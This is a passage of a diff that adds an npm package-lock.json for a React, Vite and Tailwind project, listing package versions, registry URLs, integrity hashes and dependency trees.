"sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/react": { + "version": "18.2.0", + "resolved": "https://registry.npmjs.org/react/-/react-18.2.0.tgz", + "integrity": "sha512-/3IjMdb2L9QbBdWiW5e3P2/npwMBaU9mHCSCUzNln0ZCYbcfTsGbTJrU/kGemdH2IWmB2ioZ+zkxtmq6g09fGQ==", + "dependencies": { + "loose-envify": "^1.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-countup": { + "version": "6.4.2", + "resolved": "https://registry.npmjs.org/react-countup/-/react-countup-6.4.2.tgz", + "integrity": "sha512-wdDrNb2lPFGbLb+i0FTgswPbWziubS6KZRII8NRpXmUCoZsi15PFbIHgBz60Dyxd4KPuRvwsK5aawIU4OPP3jA==", + "dependencies": { + "@rollup/plugin-babel": "^6.0.3", + "countup.js": "^2.5.0" + }, + "peerDependencies": { + "react": ">= 16.3.0" + } + }, + "node_modules/react-dom": { + "version": "18.2.0", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-18.2.0.tgz", + "integrity": "sha512-6IMTriUmvsjHUjNtEDudZfuDQUoWXVxKHhlEGSk81n4YFS+r/Kl99wXiwlVXtPBtJenozv2P+hxDsw9eA7Xo6g==", + "dependencies": { + "loose-envify": "^1.1.0", + "scheduler": "^0.23.0" + }, + "peerDependencies": { + "react": "^18.2.0" + } + }, + "node_modules/react-draggable": { + "version": "4.4.5", + "resolved": "https://registry.npmjs.org/react-draggable/-/react-draggable-4.4.5.tgz", + "integrity": "sha512-OMHzJdyJbYTZo4uQE393fHcqqPYsEtkjfMgvCHr6rejT+Ezn4OZbNyGH50vv+SunC1RMvwOTSWkEODQLzw1M9g==", + "dependencies": { + "clsx": "^1.1.1", + "prop-types": "^15.8.1" + }, + "peerDependencies": { + "react": ">= 16.3.0", + "react-dom": ">= 16.3.0" + } + }, + "node_modules/react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==" + }, + "node_modules/react-refresh": { + "version": "0.14.0", + "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.14.0.tgz", + "integrity": "sha512-wViHqhAd8OHeLS/IRMJjTSDHF3U9eWi62F/MledQGPdJGDhodXJ9PBLNGr6WWL7qlH12Mt3TyTpbS+hGXMjCzQ==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-remove-scroll": { + "version": "2.5.5", + "resolved": "https://registry.npmjs.org/react-remove-scroll/-/react-remove-scroll-2.5.5.tgz", + "integrity": "sha512-ImKhrzJJsyXJfBZ4bzu8Bwpka14c/fQt0k+cyFp/PBhTfyDnU5hjOtM4AG/0AMyy8oKzOTR0lDgJIM7pYXI0kw==", + "dependencies": { + "react-remove-scroll-bar": "^2.3.3", + "react-style-singleton": "^2.2.1", + "tslib": "^2.1.0", + "use-callback-ref": "^1.3.0", + "use-sidecar": "^1.1.2" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0", + "react": "^16.8.0 || ^17.0.0 || ^18.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/react-remove-scroll-bar": { + "version": "2.3.4", + "resolved": "https://registry.npmjs.org/react-remove-scroll-bar/-/react-remove-scroll-bar-2.3.4.tgz", + "integrity": "sha512-63C4YQBUt0m6ALadE9XV56hV8BgJWDmmTPY758iIJjfQKt2nYwoUrPk0LXRXcB/yIj82T1/Ixfdpdk68LwIB0A==", + "dependencies": { + "react-style-singleton": "^2.2.1", + "tslib": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0", + "react": "^16.8.0 || ^17.0.0 || ^18.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/react-style-singleton": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/react-style-singleton/-/react-style-singleton-2.2.1.tgz", + "integrity": "sha512-ZWj0fHEMyWkHzKYUr2Bs/4zU6XLmq9HsgBURm7g5pAVfyn49DgUiNgY2d4lXRlYSiCif9YBGpQleewkcqddc7g==", + "dependencies": { + "get-nonce": "^1.0.0", + "invariant": "^2.2.4", + "tslib": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0", + "react": "^16.8.0 || ^17.0.0 || ^18.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/react-textarea-autosize": { + "version": "8.3.4", + "resolved": "https://registry.npmjs.org/react-textarea-autosize/-/react-textarea-autosize-8.3.4.tgz", + "integrity": "sha512-CdtmP8Dc19xL8/R6sWvtknD/eCXkQr30dtvC4VmGInhRsfF8X/ihXCq6+9l9qbxmKRiq407/7z5fxE7cVWQNgQ==", + "dependencies": { + "@babel/runtime": "^7.10.2", + "use-composed-ref": "^1.3.0", + "use-latest": "^1.2.1" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0 || ^18.0.0" + } + }, + "node_modules/read-cache": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz", + "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==", + "dev": true, + "dependencies": { + "pify": "^2.3.0" + } + }, + "node_modules/readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "dev": true, + "dependencies": { + "picomatch": "^2.2.1" + }, + "engines": { + "node": ">=8.10.0" + } + }, + "node_modules/regenerator-runtime": { + "version": "0.13.11", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.11.tgz", + "integrity": "sha512-kY1AZVr2Ra+t+piVaJ4gxaFaReZVH40AKNo7UCX6W+dEwBo/2oZJzqfuN1qLq1oL45o56cPaTXELwrTh8Fpggg==" + }, + "node_modules/resolve": { + "version": "1.22.8", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.8.tgz", + "integrity": "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw==", + "dependencies": { + "is-core-module": "^2.13.0", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + }, + "bin": { + "resolve": "bin/resolve" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/resolve-from": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", + "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", + "engines": { + "node": ">=4" + } + }, + "node_modules/reusify": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz", + "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==", + "dev": true, + "engines": { + "iojs": ">=1.0.0", + "node": ">=0.10.0" + } + }, + "node_modules/rollup": { + "version": "2.78.1", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-2.78.1.tgz", + "integrity": "sha512-VeeCgtGi4P+o9hIg+xz4qQpRl6R401LWEXBmxYKOV4zlF82lyhgh2hTZnheFUbANE8l2A41F458iwj2vEYaXJg==", + "devOptional": true, + "bin": { + "rollup": "dist/bin/rollup" + }, + "engines": { + "node": ">=10.0.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/run-parallel": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "dependencies": { + "queue-microtask": "^1.2.2" + } + }, + "node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "node_modules/scheduler": { + "version": "0.23.0", + "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.23.0.tgz", + "integrity": "sha512-CtuThmgHNg7zIZWAXi3AsyIzA3n4xx7aNyjwC2VJldO2LMVDhFK+63xGqq6CsJH4rTAt6/M+N4GhZiDYPx9eUw==", + "dependencies": { + "loose-envify": "^1.1.0" + } + }, + "node_modules/semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/source-map": { + "version": "0.5.7", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", + "integrity": "sha512-LbrmJOMUSdEVxIKvdcJzQC+nQhe8FUZQTXQy6+I75skNgn3OoQ0DZA8YnFa7gp8tqtL3KPf1kmo0R5DoApeSGQ==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-js": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.0.2.tgz", + "integrity": "sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/sourcemap-codec": { + "version": "1.4.8", + "resolved": "https://registry.npmjs.org/sourcemap-codec/-/sourcemap-codec-1.4.8.tgz", + "integrity": "sha512-9NykojV5Uih4lgo5So5dtw+f0JgJX30KCNI8gwhz2J9A15wD0Ml6tjHKwf6fTSa6fAdVBdZeNOs9eJ71qCk8vA==", + "dev": true + }, + "node_modules/stylis": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/stylis/-/stylis-4.1.3.tgz", + "integrity": "sha512-GP6WDNWf+o403jrEp9c5jibKavrtLW+/qYGhFxFrG8maXhwTBI7gLLhiBb0o7uFccWN+EOS9aMO6cGHWAO07OA==" + }, + "node_modules/sucrase": { + "version": "3.34.0", + "resolved": "https://registry.npmjs.org/sucrase/-/sucrase-3.34.0.tgz", + "integrity": "sha512-70/LQEZ07TEcxiU2dz51FKaE6hCTWC6vr7FOk3Gr0U60C3shtAN+H+BFr9XlYe5xqf3RA8nrc+VIwzCfnxuXJw==", + "dev": true, + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.2", + "commander": "^4.0.0", + "glob": "7.1.6", + "lines-and-columns": "^1.1.6", + "mz": "^2.7.0", + "pirates": "^4.0.1", + "ts-interface-checker": "^0.1.9" + }, + "bin": { + "sucrase": "bin/sucrase", + "sucrase-node": "bin/sucrase-node" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/sucrase/node_modules/@jridgewell/gen-mapping": { + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.3.tgz", + "integrity": "sha512-HLhSWOLRi875zjjMG/r+Nv0oCW8umGb0BgEhyX3dDX3egwZtB8PqLnjz3yedt8R5StBrzcg4aBpnh8UA9D1BoQ==", + "dev": true, + "dependencies": { + "@jridgewell/set-array": "^1.0.1", + "@jridgewell/sourcemap-codec": "^1.4.10", + "@jridgewell/trace-mapping": "^0.3.9" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/supports-preserve-symlinks-flag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", + "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/tabbable": { + "version": "6.1.1", + "resolved": "https://registry.npmjs.org/tabbable/-/tabbable-6.1.1.tgz", + "integrity": "sha512-4kl5w+nCB44EVRdO0g/UGoOp3vlwgycUVtkk/7DPyeLZUCuNFFKCFG6/t/DgHLrUPHjrZg6s5tNm+56Q2B0xyg==" + }, + "node_modules/tailwindcss": { + "version": "3.3.5", + "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-3.3.5.tgz", + "integrity": "sha512-5SEZU4J7pxZgSkv7FP1zY8i2TIAOooNZ1e/OGtxIEv6GltpoiXUqWvLy89+a10qYTB1N5Ifkuw9lqQkN9sscvA==", + "dev": true, + "dependencies": { + "@alloc/quick-lru": "^5.2.0", + "arg": "^5.0.2", + "chokidar": "^3.5.3", + "didyoumean": "^1.2.2", + "dlv": "^1.1.3", + "fast-glob": "^3.3.0", + "glob-parent": "^6.0.2", + "is-glob": "^4.0.3", + "jiti": "^1.19.1", + "lilconfig": "^2.1.0", + "micromatch": "^4.0.5", + "normalize-path": "^3.0.0", + "object-hash": "^3.0.0", + "picocolors": "^1.0.0", + "postcss": "^8.4.23", + "postcss-import": "^15.1.0", + "postcss-js": "^4.0.1", + "postcss-load-config": "^4.0.1", + "postcss-nested": "^6.0.1", + "postcss-selector-parser": "^6.0.11", + "resolve": "^1.22.2", + "sucrase": "^3.32.0" + }, + "bin": { + "tailwind": "lib/cli.js", + "tailwindcss": "lib/cli.js" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/thenify": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/thenify/-/thenify-3.3.1.tgz", + "integrity": "sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==", + "dev": true, + "dependencies": { + "any-promise": "^1.0.0" + } + }, + "node_modules/thenify-all": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/thenify-all/-/thenify-all-1.6.0.tgz", + "integrity": "sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==", + "dev": true, + "dependencies": { + "thenify": ">= 3.1.0 < 4" + }, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/to-fast-properties": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz", + "integrity": "sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog==", + "engines": { + "node": ">=4" + } + }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/ts-interface-checker": { + "version": "0.1.13", + "resolved": "https://registry.npmjs.org/ts-interface-checker/-/ts-interface-checker-0.1.13.tgz", + "integrity": "sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA==", + "dev": true + }, + "node_modules/tslib": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.5.0.tgz", + "integrity": "sha512-336iVw3rtn2BUK7ORdIAHTyxHGRIHVReokCR3XjbckJMK7ms8FysBfhLR8IXnAgy7T0PTPNBWKiH514FOW/WSg==" + }, + "node_modules/typescript": { + "version": "4.8.4", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.8.4.tgz", + "integrity": "sha512-QCh+85mCy+h0IGff8r5XWzOVSbBO+KfeYrMQh7NJ58QujwcE22u+NUSmUxqF+un70P9GXKxa2HCNiTTMJknyjQ==", + "dev": true, + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=4.2.0" + } + }, + "node_modules/update-browserslist-db": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.0.10.tgz", + "integrity": "sha512-OztqDenkfFkbSG+tRxBeAnCVPckDBcvibKd35yDONx6OU8N7sqgwc7rCbkJ/WcYtVRZ4ba68d6byhC21GFh7sQ==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + } + ], + "dependencies": { + "escalade": "^3.1.1", + "picocolors": "^1.0.0" + }, + "bin": { + "browserslist-lint": "cli.js" + }, + "peerDependencies": { + "browserslist": ">= 4.21.0" + } + }, + "node_modules/use-callback-ref": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/use-callback-ref/-/use-callback-ref-1.3.0.tgz", + "integrity": "sha512-3FT9PRuRdbB9HfXhEq35u4oZkvpJ5kuYbpqhCfmiZyReuRgpnhDlbr2ZEnnuS0RrJAPn6l23xjFg9kpDM+Ms7w==", + "dependencies": { + "tslib": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0", + "react": "^16.8.0 || ^17.0.0 || ^18.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/use-composed-ref": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/use-composed-ref/-/use-composed-ref-1.3.0.tgz", + "integrity": "sha512-GLMG0Jc/jiKov/3Ulid1wbv3r54K9HlMW29IWcDFPEqFkSO2nS0MuefWgMJpeHQ9YJeXDL3ZUF+P3jdXlZX/cQ==", + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0 || ^18.0.0" + } + }, + "node_modules/use-isomorphic-layout-effect": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/use-isomorphic-layout-effect/-/use-isomorphic-layout-effect-1.1.2.tgz", + "integrity": "sha512-49L8yCO3iGT/ZF9QttjwLF/ZD9Iwto5LnH5LmEdk/6cFmXddqi2ulF0edxTwjj+7mqvpVVGQWvbXZdn32wRSHA==", + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0 || ^18.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/use-latest": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/use-latest/-/use-latest-1.2.1.tgz", + "integrity": "sha512-xA+AVm/Wlg3e2P/JiItTziwS7FK92LWrDB0p+hgXloIMuVCeJJ8v6f0eeHyPZaJrM+usM1FkFfbNCrJGs8A/zw==", + "dependencies": { + "use-isomorphic-layout-effect": "^1.1.1" + }, + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0 || ^18.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/use-sidecar": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/use-sidecar/-/use-sidecar-1.1.2.tgz", + "integrity": "sha512-epTbsLuzZ7lPClpz2TyryBfztm7m+28DlEv2ZCQ3MDr5ssiwyOwGH/e5F9CkfWjJ1t4clvI58yF822/GUkjjhw==", + "dependencies": { + "detect-node-es": "^1.1.0", + "tslib": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "@types/react": "^16.9.0 || ^17.0.0 || ^18.0.0", + "react": "^16.8.0 || ^17.0.0 || ^18.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", + "dev": true + }, + "node_modules/vite": { + "version": "3.1.6", + "resolved": "https://registry.npmjs.org/vite/-/vite-3.1.6.tgz", + "integrity": "sha512-qMXIwnehvvcK5XfJiXQUiTxoYAEMKhM+jqCY6ZSTKFBKu1hJnAKEzP3AOcnTerI0cMZYAaJ4wpW1wiXLMDt4mA==", + "dev": true, + "dependencies": { + "esbuild": "^0.15.9", + "postcss": "^8.4.16", + "resolve": "^1.22.1", + "rollup": "~2.78.0" + }, + "bin": { + "vite": "bin/vite.js" + }, + "engines": { + "node": "^14.18.0 || >=16.0.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + }, + "peerDependencies": { + "less": "*", + "sass": "*", + "stylus": "*", + "terser": "^5.4.0" + }, + "peerDependenciesMeta": { + "less": { + "optional": true + }, + "sass": { + "optional": true + }, + "stylus": { + "optional": true + }, + "terser": { + "optional": true + } + } + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", + "dev": true + }, + "node_modules/yaml": { + "version": "1.10.2", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz", + "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==", + "engines": { + "node": ">= 6" + } + } + }, + "dependencies": { + "@alloc/quick-lru": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/@alloc/quick-lru/-/quick-lru-5.2.0.tgz", + "integrity": "sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==", + "dev": true + }, + "@ampproject/remapping": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@ampproject/remapping/-/remapping-2.2.0.tgz", + "integrity": "sha512-qRmjj8nj9qmLTQXXmaR1cck3UXSRMPrbsLJAasZpF+t3riI71BXed5ebIOYwQntykeZuhjsdweEc9BxH5Jc26w==", + "requires": { + "@jridgewell/gen-mapping": "^0.1.0", + "@jridgewell/trace-mapping": "^0.3.9" + } + }, + "@babel/code-frame": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.18.6.tgz", + "integrity": "sha512-TDCmlK5eOvH+eH7cdAFlNXeVJqWIQ7gW9tY1GJIpUtFb6CmjVyq2VM3u71bOyR8CRihcCgMUYoDNyLXao3+70Q==", + "requires": { + "@babel/highlight": "^7.18.6" + } + }, + "@babel/compat-data": { + "version": "7.19.3", + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.19.3.tgz", + "integrity": "sha512-prBHMK4JYYK+wDjJF1q99KK4JLL+egWS4nmNqdlMUgCExMZ+iZW0hGhyC3VEbsPjvaN0TBhW//VIFwBrk8sEiw==" + }, + "@babel/core": { + "version": "7.19.3", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.19.3.tgz", + "integrity": "sha512-WneDJxdsjEvyKtXKsaBGbDeiyOjR5vYq4HcShxnIbG0qixpoHjI3MqeZM9NDvsojNCEBItQE4juOo/bU6e72gQ==", + "requires": { + "@ampproject/remapping": "^2.1.0", + "@babel/code-frame": "^7.18.6", + "@babel/generator": "^7.19.3", + "@babel/helper-compilation-targets": "^7.19.3", + "@babel/helper-module-transforms": "^7.19.0", + "@babel/helpers": "^7.19.0", + "@babel/parser": "^7.19.3", + "@babel/template": "^7.18.10", + "@babel/traverse": "^7.19.3", + "@babel/types": "^7.19.3", + "convert-source-map": "^1.7.0", + "debug": "^4.1.0", + "gensync": "^1.0.0-beta.2", + "json5": "^2.2.1", + "semver": "^6.3.0" + } + }, + "@babel/generator": { + "version": "7.19.3", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.19.3.tgz", + "integrity": "sha512-fqVZnmp1ncvZU757UzDheKZpfPgatqY59XtW2/j/18H7u76akb8xqvjw82f+i2UKd/ksYsSick/BCLQUUtJ/qQ==", + "requires": { + "@babel/types": "^7.19.3", + "@jridgewell/gen-mapping": "^0.3.2", + "jsesc": "^2.5.1" + }, + "dependencies": { + "@jridgewell/gen-mapping": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.2.tgz", + "integrity": "sha512-mh65xKQAzI6iBcFzwv28KVWSmCkdRBWoOh+bYQGW3+6OZvbbN3TqMGo5hqYxQniRcH9F2VZIoJCm4pa3BPDK/A==", + "requires": { + "@jridgewell/set-array": "^1.0.1", + "@jridgewell/sourcemap-codec": "^1.4.10", + "@jridgewell/trace-mapping": "^0.3.9" + } + } + } + }, + "@babel/helper-annotate-as-pure": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.18.6.tgz", + "integrity": "sha512-duORpUiYrEpzKIop6iNbjnwKLAKnJ47csTyRACyEmWj0QdUrm5aqNJGHSSEQSUAvNW0ojX0dOmK9dZduvkfeXA==", + "dev": true, + "requires": { + "@babel/types": "^7.18.6" + } + }, + "@babel/helper-compilation-targets": { + "version": "7.19.3", + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.19.3.tgz", + "integrity": "sha512-65ESqLGyGmLvgR0mst5AdW1FkNlj9rQsCKduzEoEPhBCDFGXvz2jW6bXFG6i0/MrV2s7hhXjjb2yAzcPuQlLwg==", + "requires": { + "@babel/compat-data": "^7.19.3", + "@babel/helper-validator-option": "^7.18.6", + "browserslist": "^4.21.3", + "semver": "^6.3.0" + } + }, + "@babel/helper-environment-visitor": { + "version": "7.18.9", + "resolved": "https://registry.npmjs.org/@babel/helper-environment-visitor/-/helper-environment-visitor-7.18.9.tgz", + "integrity": "sha512-3r/aACDJ3fhQ/EVgFy0hpj8oHyHpQc+LPtJoY9SzTThAsStm4Ptegq92vqKoE3vD706ZVFWITnMnxucw+S9Ipg==" + }, + "@babel/helper-function-name": { + "version": "7.19.0", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.19.0.tgz", + "integrity": "sha512-WAwHBINyrpqywkUH0nTnNgI5ina5TFn85HKS0pbPDfxFfhyR/aNQEn4hGi1P1JyT//I0t4OgXUlofzWILRvS5w==", + "requires": { + "@babel/template": "^7.18.10", + "@babel/types": "^7.19.0" + } + }, + "@babel/helper-hoist-variables": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.18.6.tgz", + "integrity": "sha512-UlJQPkFqFULIcyW5sbzgbkxn2FKRgwWiRexcuaR8RNJRy8+LLveqPjwZV/bwrLZCN0eUHD/x8D0heK1ozuoo6Q==", + "requires": { + "@babel/types": "^7.18.6" + } + }, + "@babel/helper-module-imports": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.18.6.tgz", + "integrity": "sha512-0NFvs3VkuSYbFi1x2Vd6tKrywq+z/cLeYC/RJNFrIX/30Bf5aiGYbtvGXolEktzJH8o5E5KJ3tT+nkxuuZFVlA==", + "requires": { + "@babel/types": "^7.18.6" + } + }, + "@babel/helper-module-transforms": { + "version": "7.19.0", + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.19.0.tgz", + "integrity": 